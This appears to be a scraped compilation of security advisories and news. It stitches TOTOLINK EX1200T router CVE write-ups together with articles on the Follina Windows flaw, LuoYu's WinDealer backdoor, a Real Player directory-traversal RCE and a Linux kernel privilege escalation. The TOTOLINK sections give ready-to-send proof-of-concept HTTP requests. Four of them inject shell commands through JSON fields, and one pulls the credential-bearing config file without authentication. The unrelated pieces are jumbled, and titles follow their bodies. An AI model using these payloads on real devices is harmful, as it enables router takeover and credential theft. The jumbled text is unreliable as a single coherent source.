TOTOLINK EX1200T V4.1.2cu.5215 contains a remote command injection vulnerability in function NTPSyncWithHost of the file system.so which can control hostTime to attack.

There is a remote command injection in the function NTPSyncWithHost of the file system.so , we can control thehostTime to attack.

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
    If-Modified-Since: Thu, 01 Jan 1970 00:00:03 GMT
    Connection: close
    Content-Length: 68
    
    {"topicurl":"NTPSyncWithHost",
    "hostTime":"\"\nps>/web_cste/test1\n\""}

CVE-2021-42890: vuln/totolink_ex1200t_hosttime_rce.md at main · p1Kk/vuln

TOTOLINK EX1200T V4.1.2cu.5215 contains a remote command injection vulnerability in function setLanguageCfg of the file global.so which can control langType to attack.

There is a remote command injection in the function setLanguageCfg of the file global.so , we can control thelangType to attack.

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
    If-Modified-Since: Thu, 01 Jan 1970 00:00:03 GMT
    Connection: close
    Content-Length: 68
    
    {"topicurl":"setting/setLanguageCfg",
    "langFlag":"1",
    "langType":"\nps>/web_cste/test1\necho"}

CVE-2021-42888: vuln/totolink_ex1200t_langtype_rce.md at main · p1Kk/vuln

The company continues to downplay the severity of the Follina vulnerability, which remains present in all supported versions of Windows.

Researchers warned last weekend that a flaw in Microsoft's Support Diagnostic Tool could be exploited using malicious Word documents to remotely take control of target devices. Microsoft released guidance on Monday, including temporary defense measures. By Tuesday, the United States Cybersecurity and Infrastructure Security Agency had warned that “a remote, unauthenticated attacker could exploit this vulnerability,” known as Follina, “to take control of an affected system.” But Microsoft would not say when or whether a patch is coming for the vulnerability, even though the company acknowledged that the flaw was being actively exploited by attackers in the wild. And the company still had no comment about the possibility of a patch when asked by WIRED yesterday.

The Follina vulnerability in a Windows support tool can be easily exploited by a specially crafted Word document. The lure is outfitted with a remote template that can retrieve a malicious HTML file and ultimately allow an attacker to execute Powershell commands within Windows. Researchers note that they would describe the bug as a “zero-day,” or previously unknown vulnerability, but Microsoft has not classified it as such.

“After public knowledge of the exploit grew, we began seeing an immediate response from a variety of attackers beginning to use it,” says Tom Hegel, senior threat researcher at security firm SentinelOne. He adds that while attackers have primarily been observed exploiting the flaw through malicious documents thus far, researchers have discovered other methods as well, including the manipulation of HTML content in network traffic.

 “While the malicious document approach is highly concerning, the less documented methods by which the exploit can be triggered are troubling until patched,” Hegel says. “I would expect opportunistic and targeted threat actors to use this vulnerability in a variety of ways when the option is available—it’s just too easy.” 

The vulnerability is present in all supported versions of Windows and can be exploited through Microsoft Office 365, Office 2013 through 2019, Office 2021, and Office ProPlus. Microsoft's main proposed mitigation involves disabling a specific protocol within Support Diagnostic Tool and using Microsoft Defender Antivirus to monitor for and block exploitation. 

But incident responders say that more action is needed, given how easy it is to exploit the vulnerability and how much malicious activity is being detected. 

“We are seeing a variety of APT actors incorporate this technique into longer infection chains that utilize the Follina vulnerability," says Michael Raggi, a staff threat researcher at the security firm Proofpoint who focuses on Chinese government-backed hackers. "For instance, on May 30, 2022, we observed Chinese APT actor TA413 send a malicious URL in an email which impersonated the Central Tibetan Administration. Different actors are slotting in the Follina-related files at different stages of their infection chain, depending on their preexisting toolkit and deployed tactics.”

Researchers have also seen malicious documents exploiting Follina with targets in Russia, India, the Philippines, Belarus, and Nepal. An undergraduate researcher first noticed the flaw in August 2020, but it was first reported to Microsoft on April 21. Researchers also noted that Follina hacks are particularly useful to attackers because they can stem from malicious documents without relying on Macros, the much-abused Office document feature that Microsoft has worked to rein in.

“Proofpoint has identified a variety of actors incorporating the Follina vulnerability within phishing campaigns," says Sherrod DeGrippo, Proofpoint's vice president of threat research.

With all this real-world exploitation, the question is whether the guidance Microsoft has published so far is adequate and proportionate to the risk. 

“Security teams could view Microsoft’s nonchalant approach as a sign that this is ‘just another vulnerability,’ which it most certainly is not,” says Jake Williams, director of cyber threat intelligence at the security firm Scythe. “It’s not clear why Microsoft continues to downplay this vulnerability, especially while it’s being actively exploited in the wild.”

An Actively Exploited Microsoft Zero-Day Flaw Still Has No Patch

An "extremely sophisticated" Chinese-speaking advanced persistent threat (APT) actor dubbed LuoYu has been observed using a malicious Windows tool called WinDealer that's delivered by means of man-on-the-side attacks.
"This groundbreaking development allows the actor to modify network traffic in-transit to insert malicious payloads," Russian cybersecurity company Kaspersky said in a new report.

An "extremely sophisticated" Chinese-speaking advanced persistent threat (APT) actor dubbed **LuoYu** has been observed using a malicious Windows tool called WinDealer that's delivered by means of man-on-the-side attacks.

"This groundbreaking development allows the actor to modify network traffic in-transit to insert malicious payloads," Russian cybersecurity company Kaspersky said in a new report. "Such attacks are especially dangerous and devastating because they do not require any interaction with the target to lead to a successful infection."

Known to be active since 2008, organizations targeted by LuoYu are predominantly foreign diplomatic organizations established in China and members of the academic community as well as financial, defense, logistics, and telecommunications companies.

LuoYu's use of WinDealer was first documented by Taiwanese cybersecurity firm TeamT5 at the Japan Security Analyst Conference (JSAC) in January 2021. Subsequent attack campaigns have used the malware to target Japanese entities, with isolated infections reported in Austria, Germany, India, Russia, and the U.S.

Other tools that are part of the adversary's malware arsenal include PlugX and its successor ShadowPad, both of which have been used by a variety of Chinese threat actors to enable their strategic objectives. Additionally, the actor is known to target Linux, macOS, and Android devices.

WinDealer, for its part, has been delivered in the past via websites that act as watering holes and in the form of trojanized applications masquerading as instant messaging and video hosting services like Tencent QQ and Youku.

But the infection vector has since been traded for another distribution method that makes use of the automatic update mechanism of select legitimate applications to serve a compromised version of the executable on "rare occasions."

WinDealer, a modular malware platform at its core, comes with all the usual bells and whistles associated with a backdoor, allowing it to hoover sensitive information, capture screenshots, and execute arbitrary commands.

But where it also stands apart is its use of an IP-generation algorithm to select a command-and-control (C2) server to connect to at random from a pool of 48,000 IP addresses.

"The only way to explain these seemingly impossible network behaviors is by assuming the existence of a man-on-the-side attacker who is able to intercept all network traffic and even modify it if needed," the company said.

A man-on-the-side attack, similar to a man-in-the-middle attack, enables a rogue interloper to read and inject arbitrary messages into a communications channel, but not modify or delete messages sent by other parties.

Such intrusions typically bank on strategically timing their messages such that the malicious reply containing the attacker-supplied data is sent in response to a victim's request for a web resource before the actual response from the server.

The fact that the threat actor is able to control such a massive range of IP addresses could also explain the hijacking of the update mechanism associated with genuine apps to deliver the WinDealer payload, Kaspersky pointed out.

"Man-on-the-side-attacks are extremely destructive as the only condition needed to attack a device is for it to be connected to the internet," security researcher Suguru Ishimaru said.

"No matter how the attack has been carried out, the only way for potential victims to defend themselves is to remain extremely vigilant and have robust security procedures, such as regular antivirus scans, analysis of outbound network traffic, and extensive logging to detect anomalies."

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

Chinese LuoYu Hackers Using Man-on-the-Side Attacks to Deploy WinDealer Backdoor

TOTOLINK EX1200T V4.1.2cu.5215 contains an information disclosure vulnerability where an attacker can get the apmib configuration file without authorization, and usernames and passwords can be found in the decoded file.

Permalink

Cannot retrieve contributors at this time

**TOTOLINK EX1200T LEAK****Vulnerability Description**

PRODUCT: TOTOLINK EX1200T V4.1.2cu.5215 (latest version)

The attacker can get the **apmib** configuration file Config-EX1200T-xxxxxxxx.dat without authorization, username and password can be found in the decoded file.

**PoC**

    GET /cgi-bin/ExportSettings.sh HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 0
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://192.168.0.1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
    Connection: close

CVE-2021-42886: vuln/totolink_ex1200t_exportsettings_leak.md at main · p1Kk/vuln

TOTOLINK EX1200T V4.1.2cu.5215 contains a remote command injection vulnerability in function setDeviceMac of the file global.so which can control deviceName to attack.

There is a remote command injection in the function setDeviceMac of the file global.so , we can control thedeviceName to attack.

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
    If-Modified-Since: Thu, 01 Jan 1970 00:00:03 GMT
    Connection: close
    Content-Length: 68
    
    {"topicurl":"setting/setDeviceName",
    "deviceMac":"1'\nps>/web_cste/test1\n'",
    "deviceName":"1"}

CVE-2021-42885: vuln/totolink_ex1200t_devicemac_rce.md at main · p1Kk/vuln

TOTOLINK EX1200T V4.1.2cu.5215 contains a remote command injection vulnerability in function setDeviceName of the file global.so which can control thedeviceName to attack.

There is a remote command injection in the function setDeviceName of the file global.so , we can control thedeviceName to attack.

    POST /cgi-bin/cstecgi.cgi HTTP/1.1
    Host: 192.168.0.1
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
    If-Modified-Since: Thu, 01 Jan 1970 00:00:03 GMT
    Connection: close
    Content-Length: 68
    
    {"topicurl":"setting/setDeviceName",
    "deviceMac":"1",
    "deviceName":"1'\nps>/web_cste/test1\n'"}

CVE-2021-42884: vuln/totolink_ex1200t_devicename_rce.md at main · p1Kk/vuln

In Real Player 20.0.7.309 and 20.0.8.310, external::Import() allows download of arbitrary file types and Directory Traversal, leading to Remote Code Execution. This occurs because it is possible to plant executables in the startup folder (DLL planting could also occur).

Real Player 'external::Import()' Arbitrary file download, Directory Traversal Vulnerabilities leads to Remote Code Execution

video demo: https://youtu.be/CONlijEgDLc

Real Player uses Microsoft Internet Explorer functionality and exposes properties and methods through a special mean which is application specific:

The 'external' object and it exposes several custom methods and properties.

The 'Import()' method is handled in unsafe way regarding the 'Copy to My Music' parameter, which allows for arbitrary file types downloading which could be unsafe as only audio/image/video types should be allowed to download to the user´s disk. Additionally it does not properly sanitize file paths allowing planting of arbitrary files on arbitrary locations. Even though it displays an error because it cannot render the downloaded file, the file remains until the user closes the dialog box. Additionally when opening new windows, Real Player looks for an old, obsolete IE library (shdoclc.dll), which can also be abused to run code automatically without needing to wait until reboot (true when file is planted in 'startup' folder).

The attacker needs to host the files to be copied/downloaded in an SMB or WebDav share. The directory 'appdata' must be placed in the share´s root.

Also a DOS condition in 'external.PreloadURL()' helps so that the files are not deleted by Real Player

The PoC will drop 'shdoclc.dll' (has simple code to run 'cmd.exe' at 'DllMain()' for demonstration purposes) to the user´s 'windowsapps' folder and 'write.exe' to 'startup' folder, so it works universally (any Windows version from at least XP up to 11)

tested on RP ver. 16.00.282, 16.0.3.51, Cloud 17.0.9.17, v.20.0.7.309

CVE-2022-32270: GitHub - Edubr2020/RP_Import_RCE

net/netfilter/nf_tables_api.c in the Linux kernel through 5.18.1 allows a local user (able to create user/net namespaces) to escalate privileges to root because an incorrect NFT_STATEFUL_EXPR check leads to a use-after-free.

Tag

#windows